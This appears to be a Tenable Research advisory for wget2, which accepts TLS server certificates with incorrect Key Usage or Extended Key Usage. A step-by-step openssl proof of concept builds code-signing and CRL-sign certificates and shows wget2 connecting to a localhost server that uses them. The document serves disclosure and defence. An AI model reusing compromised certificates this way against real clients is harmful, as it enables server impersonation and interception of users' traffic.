Tenable Research discovered that wget2 accepts a server certificate with incorrect Key Usage (KU) or Extended Key Usage (EKU). If the attackers compromise a certificate (with the associated private key) issued for a different purpose, they may be able to reuse it for TLS server authentication.
Proof of Concept:
In this PoC, we will demonstrate generating private keys and the corresponding X.509 certificates, configuring a TLS server to use them, and then how wget2 fails to properly validate certificates not meant to be used for TLS server authentication. In a real attack, the attackers would reuse the X.509 certificate and its corresponding key they managed to compromise.
Generate a set of RSA keys:
openssl genrsa -out ca-key.pem 2048
openssl genrsa -out server-key.pem 2048
Create an OpenSSL config:
cat openssl-ca.cfg
[ ca ]
keyUsage = critical,digitalSignature,keyCertSign,cRLSign
extendedKeyUsage = serverAuth,clientAuth
basicConstraints = critical,CA:TRUE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always
[ server ]
keyUsage = critical,digitalSignature
extendedKeyUsage = serverAuth
basicConstraints = critical,CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always
[ server-bad-eku ]
keyUsage = critical,digitalSignature
extendedKeyUsage = codeSigning
basicConstraints = critical,CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always
[ server-bad-ku ]
keyUsage = critical,cRLSign
extendedKeyUsage = serverAuth
basicConstraints = critical,CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always
Generate root CA certificate:
openssl req -x509 -new -key ca-key.pem -days 365 -out ca-cert.pem -subj “/CN=TestCA” -config openssl-ca.cfg -extensions ca
Generate a certificate signing request:
openssl req -new -key server-key.pem -out server.csr -subj “/CN=server” -addext “subjectAltName = DNS:localhost”
Generate a valid server certificate:
openssl x509 -req -CA ca-cert.pem -CAkey ca-key.pem -CAcreateserial -in server.csr -out server-cert.pem -days 365 -extfile openssl-ca.cfg -extensions server -copy_extensions copyall
Check EKU and KU in the generated certificate:
openssl x509 -text -noout -in server-cert.pem | grep -i ‘Key Usage’ -A1
X509v3 Key Usage: critical
Digital Signature
X509v3 Extended Key Usage:
TLS Web Server Authentication
Generate invalid server certificates with incorrect EKU and KU:
openssl x509 -req -CA ca-cert.pem -CAkey ca-key.pem -CAcreateserial -in server.csr -out server-bad-eku-cert.pem -days 365 -extfile openssl-ca.cfg -extensions server-bad-eku -copy_extensions copyall
openssl x509 -req -CA ca-cert.pem -CAkey ca-key.pem -CAcreateserial -in server.csr -out server-bad-ku-cert.pem -days 365 -extfile openssl-ca.cfg -extensions server-bad-ku -copy_extensions copyall
Check EKU and KU in the generated certificates:
openssl x509 -text -noout -in server-bad-eku-cert.pem | grep -i ‘Key Usage’ -A1
X509v3 Key Usage: critical
Digital Signature
X509v3 Extended Key Usage:
Code Signing
openssl x509 -text -noout -in server-bad-ku-cert.pem | grep -i ‘Key Usage’ -A1
X509v3 Key Usage: critical
CRL Sign
X509v3 Extended Key Usage:
TLS Web Server Authentication
Start a server using a valid server certificate:
openssl s_server -key server-key.pem -cert server-cert.pem -www -port 8080
Connection succeeds as expected:
wget2 https://localhost:8080 –ca-certificate ca-cert.pem
index.html 100% [=====================================================================================================================================================>] 4.71K –.-KB/s
[Files: 1 Bytes: 4.71K [337.12KB/s] Redirects: 0 Todo: 0 Errors: 0
Start a server using a server certificate with incorrect EKU:
openssl s_server -key server-key.pem -cert server-bad-eku-cert.pem -www -port 8080
Connection succeeds while it shouldn’t:
wget2 https://localhost:8080 –ca-certificate ca-cert.pem
index.html.1 100% [=====================================================================================================================================================>] 4.72K –.-KB/s
[Files: 1 Bytes: 4.72K [236.37KB/s] Redirects: 0 Todo: 0 Errors: 0
Start a server using a server certificate with incorrect KU:
openssl s_server -key server-key.pem -cert server-bad-ku-cert.pem -www -port 8080
Connection again succeeds while it shouldn’t:
wget2 https://localhost:8080 –ca-certificate ca-cert.pem
index.html.2 100% [=====================================================================================================================================================>] 4.72K –.-KB/s
[Files: 1 Bytes: 4.72K [214.84KB/s] Redirects: 0 Todo: 0 Errors: 0
In the last two cases, wget2 accepted server certificates with incorrect EKU or KU.